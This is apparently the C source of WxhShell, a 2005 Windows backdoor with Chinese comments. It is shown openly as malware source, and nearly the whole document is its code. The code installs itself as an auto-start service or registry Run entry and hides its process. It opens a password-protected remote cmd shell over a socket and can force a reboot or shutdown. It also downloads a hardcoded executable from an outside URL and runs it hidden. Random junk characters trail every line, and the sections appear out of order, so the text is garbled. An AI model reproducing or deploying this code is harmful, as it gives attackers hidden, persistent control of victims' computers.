    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8uG0^h}  
    if(Boot(SHUTDOWN)) _3Q8n|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bv?0.{Z  
    else { OVoO6F ]  
    closesocket(wsh); L^9HH)Jc  
    ExitThread(0); >AD =31lq  
    } #?} 6t~  
    break; ed~R>F>  
    } "i'bTVs  
  // 获取shell DrS~lTf=>  
  case 's': { ? s} %  
    CmdShell(wsh); t> Q{yw  
    closesocket(wsh); x49!{}  
    ExitThread(0); J$uM 03  
    break; bk#xiuwT  
  } fhp)S",  
  // 退出 RcY[rnI6  
  case 'x': { T)u4S[ &  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s(@h 2:j  
    CloseIt(wsh); f%^'P"R  
    break; )jW(6  
    } /dHs &SU,  
  // 离开 C77D{@SM  
  case 'q': { #*IVlchA"B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;cP8?U  
    closesocket(wsh); A-E+s~U8  
    WSACleanup(); <3 @}Lj  
    exit(1); $7gB_o$zz  
    break; I{.HO<$7D}  
        } "mj^+u-  
  } m$UvFP1>u1  
  } I/u9RmbU  
2JO-0j.  
  // 提示信息 F+=urc>w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P9#)~Zm}]  
} m Pt)pn!rA  
  } :F|\Ij0T  
*c]KHipUIS  
  return; <,39_#H?F3  
} E1q%gi4Q%  
MZm'npRf  
// shell模块句柄 k0K A~  
int CmdShell(SOCKET sock) 744=3v  
{ =:$) Z  
STARTUPINFO si; z4O o@3$\R  
ZeroMemory(&si,sizeof(si)); _\AUQ{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nsJ:Osq|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;x[pM_  
PROCESS_INFORMATION ProcessInfo; ")\aJ8  
char cmdline[]="cmd"; W}gVIfe  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); = t+('  
  return 0; _x\m|SF_g  
} qb7^VIo%c  
}5S2p@W)  
// 自身启动模式  Dt}dp_  
int StartFromService(void) F?*k}]Gi  
{ ?vbDB4  
typedef struct [!+D <Y  
{ !'c| N9  
  DWORD ExitStatus; uCUu!Vfeg  
  DWORD PebBaseAddress; c8Pb  
  DWORD AffinityMask; jPwef##~7  
  DWORD BasePriority; aPBX=;(  
  ULONG UniqueProcessId; JieU9lA^&B  
  ULONG InheritedFromUniqueProcessId; gA +:CgQ  
}   PROCESS_BASIC_INFORMATION; OD4W}Y.  
jb@\i@-  
PROCNTQSIP NtQueryInformationProcess; {g=b]yg\o  
edN8-P(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z-Hkz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (&Q)EBdm  
H1UL.g%d=  
  HANDLE             hProcess; Z`xyb>$  
  PROCESS_BASIC_INFORMATION pbi; oI$V|D3 9  
Q]i[.ME  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y?!/>q  
  if(NULL == hInst ) return 0; $%}>zqD1  
{CP o<lz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 75Fp[Q-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -N^ =@Yx)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,V2#iY.%}N  
22bT3  
  if (!NtQueryInformationProcess) return 0; @a;sV!S{  
Yk7"XP[Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); twbcuaCTW  
  if(!hProcess) return 0; cyc>_$/;1  
sFx$>:$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %Rn:G K  
w|G~Il  
  CloseHandle(hProcess); )kA2vX^=Z  
59MR|Jt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cju@W]!  
if(hProcess==NULL) return 0; 32KR--mn%  
9S"N4c>  
HMODULE hMod; Gc}0]!nrW9  
char procName[255]; 1Zq   
unsigned long cbNeeded; $~hdm$  
E3tj/4:L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '}zT1F* p=  
*^6k[3VY  
  CloseHandle(hProcess); nOuN|q=C  
TAAR'Jz S  
if(strstr(procName,"services")) return 1; // 以服务启动 >C^/,/%v  
0# UAjT3  
  return 0; // 注册表启动 P%jkKE?B4  
} ?1DUNZ6  
wz@/5c/u  
// 主模块 +9~ZA3DiP  
int StartWxhshell(LPSTR lpCmdLine) !h/dZ`#  
{ % &+|==-  
  SOCKET wsl; qa;EI ;8  
BOOL val=TRUE; Xa*?<(^`  
  int port=0; 'Aet{A=9  
  struct sockaddr_in door; ,*w>z  
Jmy)J!ib*  
  if(wscfg.ws_autoins) Install(); g1dmkX  
V%o#AfMI_  
port=atoi(lpCmdLine); m`a>,%}P"  
j,ZW[*M  
if(port<=0) port=wscfg.ws_port; 9dw0<qw1%  
?:JdRnH\  
  WSADATA data; jqqaw  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jQ^Yj"6  
:%>oe> _"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   yI *M[0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q|/!0MU"  
  door.sin_family = AF_INET; {V=vn L--  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =_pmy>_z  
  door.sin_port = htons(port); .Wh6(LDY(  
Q%$i@JH`m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M3PVixli3  
closesocket(wsl); J;"nm3[.q  
return 1; \|Y{jG<cu  
} +E)e1 :8  
{;;eOxOP|  
  if(listen(wsl,2) == INVALID_SOCKET) { n<+~ zQ  
closesocket(wsl); l#|J rU!  
return 1; .0KOnLdK  
} I(y`)$}  
  Wxhshell(wsl); 0A@-9w=u  
  WSACleanup(); "1\(ZKG8^Q  
=^ gvZ| ]  
return 0; @V7;TJk  
"&| lO|  
} !__D}k,  
@gY'YA8m  
// 以NT服务方式启动 EqYz,%I%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0.3^   
{ d7\k  gh  
DWORD   status = 0; ;q'DGzh  
  DWORD   specificError = 0xfffffff; y K=S!7p\  
|\rSa^:5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /;[}=JL<Q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }q/(D?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; EF0Pt  
  serviceStatus.dwWin32ExitCode     = 0; `g2&{)3k  
  serviceStatus.dwServiceSpecificExitCode = 0; 6{lG1\o  
  serviceStatus.dwCheckPoint       = 0; '=-s1c@^  
  serviceStatus.dwWaitHint       = 0; b^+Fs  
7B VXBw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hw7~i  
  if (hServiceStatusHandle==0) return; Cd$dn HVh  
P~n8EO1r  
status = GetLastError(); CuF%[9[cT  
  if (status!=NO_ERROR) ,,zd.9n  
{ (c  u'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cYE./1D a  
    serviceStatus.dwCheckPoint       = 0; i=x.tsJ:hB  
    serviceStatus.dwWaitHint       = 0; ?hP<@L6K  
    serviceStatus.dwWin32ExitCode     = status; \IO$ +Guh  
    serviceStatus.dwServiceSpecificExitCode = specificError; {c&qB`y<.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5F% h>tqh  
    return; jM{(8aUG  
  } ^n6)YX  
pE~9o 9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $@5%5  
  serviceStatus.dwCheckPoint       = 0; j\%?<2dj=  
  serviceStatus.dwWaitHint       = 0; 1y_fQ+\2A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +"TI_tK, S  
} M9g~lKs'  
F]/L!   
// 处理NT服务事件,比如:启动、停止 1kbT@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) f%`*ba" v  
{ \Ac}R'  
switch(fdwControl) &Bj,.dD/a  
{ TXZ(mj?  
case SERVICE_CONTROL_STOP: 49iR8w?k  
  serviceStatus.dwWin32ExitCode = 0; *1 n;p)K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; VyB\]EBu  
  serviceStatus.dwCheckPoint   = 0; ^aGZJiyJ  
  serviceStatus.dwWaitHint     = 0; 3P%w-qT!N  
  { |G|*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =$&7IQ?  
  } \7OJN ~&<  
  return; r\4*\  
case SERVICE_CONTROL_PAUSE: OL,/-;z6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !C9ps]6  
  break; $]Q*E4(kV9  
case SERVICE_CONTROL_CONTINUE: .rt8]%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !:]s M-cCt  
  break; H9oXZSm  
case SERVICE_CONTROL_INTERROGATE: #i}#jMT  
  break; /k4^&  
}; OpWC2t)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .E?bH V  
} chvrHvByS  
~0' _K1(H  
// 标准应用程序主函数 zgEr,nF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vkDZv@  
{ 3I(dC|d  
f}Ne8]U/Hc  
// 获取操作系统版本 s9ju/+fv  
OsIsNt=GetOsVer(); -6hu31W  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~u O:tL  
s0~05{  
  // 从命令行安装 {<''OwQF~+  
  if(strpbrk(lpCmdLine,"iI")) Install(); &KOG[tv  
y^E F<<\  
  // 下载执行文件 1]D/3!  
if(wscfg.ws_downexe) { GFASF,+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XwHu:v'=  
  WinExec(wscfg.ws_filenam,SW_HIDE); | o;j0  
} glOqft&>`  
'$2oSd  
if(!OsIsNt) { z&;zU)Jvd  
// 如果时win9x,隐藏进程并且设置为注册表启动 &;r'{$  
HideProc(); Cg]3(3   
StartWxhshell(lpCmdLine); m11"i=S"  
} \Y>#^b?  
else )V9Mcr*Ce6  
  if(StartFromService()) l`~a}y"n  
  // 以服务方式启动 K4h-4Qbn  
  StartServiceCtrlDispatcher(DispatchTable); SG(%d^x`R  
else fY)4]=L  
  // 普通方式启动 $ DABR  
  StartWxhshell(lpCmdLine); q:EzKrE  
=:CGl   
return 0; v;N1'  
} @&i#S}%/  
+7U  A%q  
'NG^HLD/  
% +t  
=========================================== m<,y-bQ*(  
z1{E:~f  
a6 #{2q  
p ?Ij-uo"o  
"2vNkO##  
=hOj8;2  
" A/Fs?m{7U  
yPzULO4  
#include <stdio.h> hX'z]Am<  
#include <string.h> FJn~ =hA  
#include <windows.h> `ohF?5J,  
#include <winsock2.h> do?S,'(g  
#include <winsvc.h> (:j+[3Ht  
#include <urlmon.h> N$ qNe'b  
pZ@W6}  
#pragma comment (lib, "Ws2_32.lib") /`j  K  
#pragma comment (lib, "urlmon.lib")  OGE#wG"S  
YN5OuKMUd'  
#define MAX_USER   100 // 最大客户端连接数 R5'Z4.~  
#define BUF_SOCK   200 // sock buffer f/IRO33  
#define KEY_BUFF   255 // 输入 buffer =@ L5  
'EH  
#define REBOOT     0   // 重启 Gg3?2h"d  
#define SHUTDOWN   1   // 关机 ~' Qpf 8)  
a\[fC=]r:  
#define DEF_PORT   5000 // 监听端口 mNBpb}  
x jP" 'yU  
#define REG_LEN     16   // 注册表键长度 +lDGr/  
#define SVC_LEN     80   // NT服务名长度 F-reb5pt.=  
*+,Lc1|\  
// 从dll定义API SCI-jf3WN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &ls!IN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =?I1V#.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z|cTzunp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a dz;N;rIY  
gqHH Hh  
// wxhshell配置信息 3' :[i2[  
struct WSCFG { Bgo"JNM  
  int ws_port;         // 监听端口 79c9 +  
  char ws_passstr[REG_LEN]; // 口令 <'4!G"_EP  
  int ws_autoins;       // 安装标记, 1=yes 0=no L F-+5`  
  char ws_regname[REG_LEN]; // 注册表键名 KoQ_: `  
  char ws_svcname[REG_LEN]; // 服务名 *`pec3"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3MBz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8^f[-^%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pn_gq~5ng  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :[X }.]"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" iK6<^,]'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z }b U\3!  
zOdasEd8!  
}; /O(;~1B  
fB @pwmu  
// default Wxhshell configuration 1!v >I"]  
struct WSCFG wscfg={DEF_PORT,  ]5)&36  
    "xuhuanlingzhe", "|l oSf@  
    1, ).O2_<&?F  
    "Wxhshell", wJ]$'c3  
    "Wxhshell", %.atWX`b  
            "WxhShell Service", N:gstp  
    "Wrsky Windows CmdShell Service", xdTzG4  
    "Please Input Your Password: ", U0|j^.)  
  1, m?R+Z6c[  
  "http://www.wrsky.com/wxhshell.exe", U}vtVvx  
  "Wxhshell.exe" ReG O9}  
    }; K~hlwjrt  
6Nd_YX  
// 消息定义模块 zk^7gx3x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ow>[#.ua  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Zkb,v!l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4S{l>/I  
char *msg_ws_ext="\n\rExit."; ['N#aDh.?  
char *msg_ws_end="\n\rQuit."; UXdC<(vK  
char *msg_ws_boot="\n\rReboot..."; *!7SM 7  
char *msg_ws_poff="\n\rShutdown..."; @l6 dJ  
char *msg_ws_down="\n\rSave to "; <&m  
3Ns:O2|  
char *msg_ws_err="\n\rErr!"; bM3'm$34  
char *msg_ws_ok="\n\rOK!"; A&_i]o  
t;a}p_>  
char ExeFile[MAX_PATH]; s7)# NT2  
int nUser = 0; $lG--s  
HANDLE handles[MAX_USER]; 7[?}kG   
int OsIsNt; >8mW-p  
#<V'gE  
SERVICE_STATUS       serviceStatus; 5bqYi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4#Nd;gM2  
{Z~VO  
// 函数声明 9787uj]Y}H  
int Install(void); %!hA\S  
int Uninstall(void); 7QL) }b.H  
int DownloadFile(char *sURL, SOCKET wsh); >5@ 0lYhH  
int Boot(int flag); I8pxo7(-  
void HideProc(void); o _,$`nEJ  
int GetOsVer(void); r Xk   
int Wxhshell(SOCKET wsl); : w`i  
void TalkWithClient(void *cs); kU9AfAe  
int CmdShell(SOCKET sock); LF,c-Cv!jL  
int StartFromService(void); ;7og  
int StartWxhshell(LPSTR lpCmdLine); Mud\Q["  
WaO;hy~us  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ei(`gp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1~ZHC[ `  
B(vz$QE,$r  
// 数据结构和表定义 %$-3fj7  
SERVICE_TABLE_ENTRY DispatchTable[] = HvfTC<+H  
{ f*H}eu3/j  
{wscfg.ws_svcname, NTServiceMain}, |c+N)F B  
{NULL, NULL} nv|y@! (  
}; <h>fip3o  
"kuBjj2  
// 自我安装 *q 9$SDm  
int Install(void) )d a8 Ru  
{ !m.')\4<  
  char svExeFile[MAX_PATH]; 2!& ;ZcT,  
  HKEY key; K0!#l Br  
  strcpy(svExeFile,ExeFile); $,@ +Ua  
=|t1eSzc  
// 如果是win9x系统,修改注册表设为自启动 JU`'?b  
if(!OsIsNt) { )t 7HioQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I Y-5/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :95_W/l  
  RegCloseKey(key); -8J@r2\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mp$II?hZ*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Rn ^N+3o'M  
  RegCloseKey(key); #+Gs{iXr  
  return 0; t $ ~:C  
    } ;."{0gq  
  } ,3TD $2};.  
} "Q!{8 9Y  
else { +?eAaC7s  
s5|)4Z ac  
// 如果是NT以上系统,安装为系统服务 L7'X7WYf&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4 6JP1  
if (schSCManager!=0) \}&w/.T  
{ dufHd  
  SC_HANDLE schService = CreateService hzVr3;3Zn  
  ( VTkT4C@I;Y  
  schSCManager, F>{uB!!L4  
  wscfg.ws_svcname, BP><G^  
  wscfg.ws_svcdisp, y,eoTmaI  
  SERVICE_ALL_ACCESS, TgG)btQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^O9m11  
  SERVICE_AUTO_START, <}>-ip?  
  SERVICE_ERROR_NORMAL, -P uVI5L<  
  svExeFile, Ho{?m^  
  NULL, lt2& uYgp  
  NULL, -BH'.9uqGQ  
  NULL, ?O]gFn  
  NULL, NY w(hAPv  
  NULL ~$9"|  
  ); $w}aX0dK&  
  if (schService!=0) w0OK. fj  
  { 6EGEwx  
  CloseServiceHandle(schService); 3Jit2W4  
  CloseServiceHandle(schSCManager); Xq$0% WjG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c=mFYsSv  
  strcat(svExeFile,wscfg.ws_svcname); 4h@of'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g5]DA.&(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h v+i{Z9!]  
  RegCloseKey(key); 438> )=  
  return 0; A}}t86T  
    } O$ oN1  
  } ;L{y3CWT  
  CloseServiceHandle(schSCManager); $9b6,Y_-  
} Yhdt8[ 2  
} :njUaMFoMA  
%[;KO&Ga  
return 1; gKEvgXOj  
} V3nv5/6  
7[,f;zG  
// 自我卸载 unB "dE  
int Uninstall(void) XX+rf  
{ 'Pn`V{a  
  HKEY key; W# /Ol59  
F.w#AV  
if(!OsIsNt) { ,*#M%Pv1t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z(a:fL{/XG  
  RegDeleteValue(key,wscfg.ws_regname); g7ROA8xu  
  RegCloseKey(key); P,], N)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D{}\7qe  
  RegDeleteValue(key,wscfg.ws_regname); eS+LFS7*k  
  RegCloseKey(key); =swcmab;  
  return 0; Lf<9GYNy>`  
  } $t?e=#G  
} N($]))~3&  
} =sJHnWL[  
else { [C#pMLp,~  
=1uI >[aN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Np)!23 "  
if (schSCManager!=0) Fs~-exY1  
{ w/@%xy  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n[7zK'%Dxg  
  if (schService!=0) YLr2j 7  
  { ^u<+tV   
  if(DeleteService(schService)!=0) { XP1_{\  
  CloseServiceHandle(schService); r-uIFhV^  
  CloseServiceHandle(schSCManager); 9tgkAU`  
  return 0; !r,d rb  
  } qdZYaS ~  
  CloseServiceHandle(schService); my0->W%L  
  } Tj#XsD?J  
  CloseServiceHandle(schSCManager); <;K/Yv'{r  
} n*uZ=M_/Q  
} Melc -[  
suSIz 7:  
return 1; !Hg#c!eOg  
} 1+#8} z:  
yLX\pkAt4  
// 从指定url下载文件 |0 VP^md  
int DownloadFile(char *sURL, SOCKET wsh) {,X(fJ  
{ {,-#;A*yW  
  HRESULT hr; >skS`/6  
char seps[]= "/"; wm4e:&  
char *token; .YlM'E*X  
char *file; K a jyQ"j  
char myURL[MAX_PATH]; U9s y]7  
char myFILE[MAX_PATH]; e76)z; '  
)}8%Gs4C  
strcpy(myURL,sURL); _JXE/  
  token=strtok(myURL,seps); /J:j'6  
  while(token!=NULL) >?V->7QLP  
  { |^&e\8>.  
    file=token; bf+2c6_BN0  
  token=strtok(NULL,seps); 2:yv:7t/  
  } P&VI2k  
AJ}Q,E  
GetCurrentDirectory(MAX_PATH,myFILE); ~>|U%3}]  
strcat(myFILE, "\\"); "/=x u|  
strcat(myFILE, file); WBdb[N6\  
  send(wsh,myFILE,strlen(myFILE),0); K} @:>;* 9  
send(wsh,"...",3,0); pcG q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `.XU|J*z,  
  if(hr==S_OK) Ab)7hCUW  
return 0; Z5K,y19/~  
else cPSpPx  
return 1; M`FL&Ac  
GKr L  
} 8Sa<I .l  
Os;\\~e5  
// 系统电源模块 J)_ 42Z  
int Boot(int flag) $Re %+2c  
{ FS0SGBo  
  HANDLE hToken; 4{=Em5`HbO  
  TOKEN_PRIVILEGES tkp; M9nYt~vHX  
o^_am>h  
  if(OsIsNt) { jLg4_N1SD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G.8ZISN/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); W:G*t4i  
    tkp.PrivilegeCount = 1; R<U <Y'Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -q27N^A0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ym 6[~=~EK  
if(flag==REBOOT) { +$C5V,H ~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xe' *%3-v)  
  return 0; M'sJ5;^5  
} u/:@+rTV_  
else { #<:khs6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;pJ7k23(  
  return 0; xb\lbS{ f  
} r=;k[*;{  
  } 4T" P #)z  
  else { *(J<~:V?  
if(flag==REBOOT) { ;S/fe(C   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .W\Fa2}%av  
  return 0; ZZUCwczI  
} uWSG+  
else { "cZ.86gG`:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *!r8HV/<  
  return 0; <v?-$3YT  
} n$>H}#q  
} 1x]G/I*  
EW)]75o{QF  
return 1; LdcP0G\"VG  
} ,fbO}  
xYbF76B  
// win9x进程隐藏模块 r BaK$Ut  
void HideProc(void) JkTL+obu  
{ rz(DZV  
d{  Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3JwmLGj}  
  if ( hKernel != NULL ) m T;z `*  
  { :gmVX}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |"arVde  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (Xx @_  
    FreeLibrary(hKernel); NW$Z}?I  
  } &Ef'5  
^(%>U!<<%,  
return; .[7m4iJf  
} Kgcg:r:  
`C3F?Lch  
// 获取操作系统版本 ~b e&T:7.  
int GetOsVer(void) `#~@f!';  
{ 7J)-WXk  
  OSVERSIONINFO winfo; `ainJs:B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i^yQ; 2 -  
  GetVersionEx(&winfo); w] VvH"?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OF)X(bi4j  
  return 1; fYpy5vc-dm  
  else q^gd1K<N  
  return 0; 8I*fPf  
} @E1N9S?>  
,MdCeA%`  
// 客户端句柄模块 9.<$&mVk7`  
int Wxhshell(SOCKET wsl) ]C_6I\Z#=W  
{ k5^'b#v  
  SOCKET wsh; w1.~N`g$  
  struct sockaddr_in client; |@ia(U~  
  DWORD myID; NWFZ:h@v  
I3A](`  
  while(nUser<MAX_USER) >[[< 5$,T  
{ "p<f#s}  
  int nSize=sizeof(client); wI)W:mUZZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]RV6( |U4_  
  if(wsh==INVALID_SOCKET) return 1; 3=` UX  
K}6}Opr,Tt  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _uDtRoI8  
if(handles[nUser]==0) @qeI4io-n  
  closesocket(wsh); 3?C$Tl2G8  
else >LLFe~9`g  
  nUser++; h)sc-e  
  } G'!Hc6OZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w(VH>t  
7p|Pv;wp|  
  return 0; y2)~ljR  
} /@q_`tU  
$L(,q!DvH  
// 关闭 socket o4d>c{p  
void CloseIt(SOCKET wsh) )x]/b=m  
{ /Z-|E  
closesocket(wsh); {jbOcx$t  
nUser--; qz?9:"~$C  
ExitThread(0); k9a-\UIMet  
} VEJ Tw  
ee6Zm+.B  
// 客户端请求句柄 jQc$>M<"o  
void TalkWithClient(void *cs) S-My6'ar  
{ u)%J5TR.Y  
By%aTuV$  
  SOCKET wsh=(SOCKET)cs; LFtnSB8  
  char pwd[SVC_LEN]; [<6ez;2q'  
  char cmd[KEY_BUFF]; ~Xa >;  
char chr[1]; " @.hz@>  
int i,j; Yf|+p65g  
i9$ -lk  
  while (nUser < MAX_USER) { B \BP:;"  
yYF%U7N/n  
if(wscfg.ws_passstr) { I~EJctOG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /:l>yKI+~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a&9+<  
  //ZeroMemory(pwd,KEY_BUFF); L_O m<LO2  
      i=0; =ayl~"bW  
  while(i<SVC_LEN) { r-=#C1eY&  
?bY'J6n.  
  // 设置超时 @r=O~x  
  fd_set FdRead; 64Q{YuI  
  struct timeval TimeOut; rcAx3AK.  
  FD_ZERO(&FdRead); K-#v5_*  
  FD_SET(wsh,&FdRead); TtlZum\  
  TimeOut.tv_sec=8; 7h0LR7  
  TimeOut.tv_usec=0; [8![UcMq  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p%8y!^g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); / F9BbG{  
*IfLoKS'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ] vQn*T"^  
  pwd=chr[0]; kk& ([ xqU  
  if(chr[0]==0xd || chr[0]==0xa) { ("ql//SL  
  pwd=0; SK#; /fav6  
  break; *$Bx#0J8  
  } Iy'a2@   
  i++; x+47CDDu3  
    } rdSkGb  
C,&r7  
  // 如果是非法用户,关闭 socket FZO}+ P  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p{NVJ^! +  
} VM88#^  
~}+F$&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gM&XVhQJ\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *i?#hTw  
yO.q{|kX  
while(1) { \9jEpE^Ju(  
 ~p<w>C9  
  ZeroMemory(cmd,KEY_BUFF); =wtu  
PF~w$ eeQ  
      // 自动支持客户端 telnet标准   Bz!SZpW(M  
  j=0; 8\P!47'q  
  while(j<KEY_BUFF) { :;HJ3V;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t,Ss3  
  cmd[j]=chr[0]; `B-jwVrN(  
  if(chr[0]==0xa || chr[0]==0xd) { oP!oU2eqK  
  cmd[j]=0; 16Cd0[h?  
  break; c<fl6o)  
  } !W^P|:Qt  
  j++; ~x4]^XS  
    } 5LMAy"  
f0S$p R  
  // 下载文件 jI[Y< (F ;  
  if(strstr(cmd,"http://")) { =*>ri  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ) G a5c  
  if(DownloadFile(cmd,wsh)) #? u#=]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P-U9FKrt  
  else Xw)W6H|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C;>!SRCp  
  } 21_sg f?  
  else { *5m4 j=-  
/fgy07T  
    switch(cmd[0]) { rU/8R'S  
